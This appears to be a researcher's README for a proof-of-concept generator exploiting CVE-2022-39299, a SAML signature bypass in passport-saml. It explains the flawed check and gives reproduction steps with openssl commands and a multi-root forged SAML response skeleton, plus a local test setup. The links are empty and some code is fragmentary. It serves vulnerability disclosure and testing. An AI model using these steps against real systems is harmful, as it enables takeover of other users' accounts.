# Exploiting CVE-2022-39299 
## Signature bypass via multiple root elements
Advisory :  
Patch :  
Base Payload Example Extracted From node-saml Test-cases: 

Bug Author: [felixwilhelm](   
Exploit Generator Author (The easy part): [Francesco Lacerenza](

## Authentication Bypass In Multi-Tenant Apps using passport-saml for SAML SSO Integrations
### Description

A remote attacker may be able to bypass SAML SSO authentication on a platform by exploiting CVE-2022-39299 affecting the passport-saml library. 

A public exploit was not available (at the time of writing), and the advisory was published on 10/12/2022 with little/no information.
Doyensec developed a working Proof Of Concept (PoC) generator to verify the issue against multi-tenant platforms in which the tenant admin is able to configure SAML SSO with a custom IdP.

As stated in the advisory:

> A successful attack requires that the attacker is in possession of an arbitrary IDP signed XML element. Depending on the IDP used, fully unauthenticated attacks (i.e., without access to a valid user) might also be feasible if generation of a signed message can be triggered.

The vulnerable check is located within the `validatePostResponse` function at `passport-saml-2.0.0/src/passport-saml/saml.ts:775` 
// Check if this document has a valid top-level signature
      let validSignature = false;
      if (this.options.cert && this.validateSignature(xml, doc.documentElement, certs!)) {
        validSignature = true;
In particular, `validateSignature` checks that the `doc.documentElement` in the full XML document contains a valid signature. As `documentElement` property returns the first root node of the document, it will verify the signature on the first root element only.

The function continues by verifying that there is just one assertion within the XML:

      const assertions = xmlCrypto.xpath(doc, "/*[local-name()='Response']/*[local-name()='Assertion']") as HTMLElement[];
      const encryptedAssertions = xmlCrypto.xpath(doc,

      if (assertions.length + encryptedAssertions.length > 1) {
        // There's no reason I know of that we want to handle multiple assertions, and it seems like a
        //   potential risk vector for signature scope issues, so treat this as an invalid signature
        throw new Error('Invalid signature: multiple assertions');

As a result, the XML parser will parse an XML document with multiple roots. While a signature can apply to only one root node, XPath can traverse multiple root nodes to find authentication and authorization elements. 

In conclusion, one root node may be signed (e.g., Generic SAML Error Message) and then another, unsigned node, could contain modifiable authentication and authorization information. In this way the attacker is able to tamper the authentication information and gain access to any account within the tenant.  

**NOTE:** The exploitation success completely depends on the internal authentication logic related to the use of the passport lib. If the authentication logic completely trusts the authenticated-session object resulting from `passport.authenticate(...PASSPORT-SAML_OPTIONS...)`, then it is likely vulnerable.

### Reproduction Steps

1. Generate a new cert & key with `openssl` in the PoC generator folder:
openssl req -x509 -new -newkey rsa:2048 -nodes -subj '/C=US/ST=California/L=San Francisco/O=JankyCo/CN=Test Identity Provider' -keyout key.pem -out cert.pem -days 7300
Alternatively, use the ones within this repository.  

2. In the target platform, navigate as admin to the SAML SSO Integration panel. Then, set the certificate used to validate signatures from the IdP as the one within this folder. 

3. Configure the `payload_appendix.xml` with the authn & authz elements needed by the platform to authenticate SAML SSO Users. You can find such info in the docs or by building a working SSO integration to learn valid auth elements.

4. Run the following command to generate a signed multi-root element SAML response containing your tampered data.


The multi-root element SAML response has the following structure:

<samlp:Response xmlns="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="IDVALUE" Version="2.0" IssueInstant="2022-28-08T14:38:05Z">
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Responder">
      <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:NoPassive">
        <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:PartialLogout">
    <samlp:StatusMessage>Random Error</samlp:StatusMessage>


<saml:Assertion ID="whatever" IssueInstant="2022-10-30T18:00:00+00:00" Version="2.0">

5. Hit the login callback endpoint with the generated payload (malicious SAML Response). If the auth logic is vulnerable, a new session cookie for the tampered user will be issued.  

NOTE: If you want to exploit this issue when you do not have access to the IdP configuration, just modify the `` by substituting the variable `signed_base_payload_unicode` used to build the final payload. In order to work, you must substitute it with a signed SAML Response that does not contain Assertions. Good luck finding a way to obtain it from the target's IdP (case-by-case logic applies and no literature is present about them).

### Impact & Complexity 

In organizations with SAML SSO Integration enabled, attackers could bypass the authentication and login with any user in the tenant.  

Despite the advisory states that the attacker could use "an arbitrary IDP signed XML element", the passport-saml library prevents any XML message containing multiple assertions (see code snippet in description session). The limitation requires the attacker to obtain a signed SAML message that does not contain an assertion, like an error message. The presence of such messages depends on the IdP implementation.  

As an example, SAML responses without assertions are directly supported by Auth0's library node-samlp.  
See at

function buildSamlResponse(options) {
  var SAMLResponse = templates.samlresponse({
    id: '_' + utils.generateUniqueID(),
    instant: utils.generateInstant(),
    destination: options.destination || options.audience,
    inResponseTo: options.inResponseTo,
    issuer: options.issuer,
    samlStatusCode: options.samlStatusCode,
    samlStatusMessage: options.samlStatusMessage,
    assertion: options.samlAssertion || ''
The above example shows the possibility to introduce code paths leading to signed messages without assertions even when using Auth0 technology. In that sense, customers' IdPs may contain such patterns.

If an attacker finds a way to trigger such messages, fully unauthenticated attacks (i.e., without access to a valid user) might also be feasible.

In conclusion, **multi-tenant platforms allowing custom per-tenant SAML SSO Integrations vulnerable to CVE-2022-39299 are potentially allowing authentication bypasses whenever the customer's IdP supports signed SAML error messages without assertions**. 

# Local Tests
We conducted testing locally using the following resources:

1. IdP - [local-saml-idp by cultureamp]( 

Generate IdP Signing Certificate in the PoC generator folder
openssl req -x509 -new -newkey rsa:2048 -nodes -subj '/C=US/ST=California/L=San Francisco/O=JankyCo/CN=Test Identity Provider' -keyout idp-private-key.pem -out idp-public-cert.pem -days 7300

Run the IdP with the following command in the folder containing the generated cert & key
saml-idp --acsUrl --audience --host

2. SP App -  [passport-saml-example by gbraad](

The app needs additional configuration to work with a local IdP. Just fill the file `passport-saml-example/config/config.js` with info from the IdP.
passport: {
      strategy: 'saml',
      saml: {
        path: '/login/callback',
        entryPoint: 'http://localhost:7000/saml/sso',
        issuer: 'passport-saml',

Also `package.json` needs to be edited to use vulnerable versions of passport. Extract all the needed versions from the target codebase if available.
Once ready, just start the application:
npm install
npm start

3. Perform the actions described in the reproduction steps (start from step 3)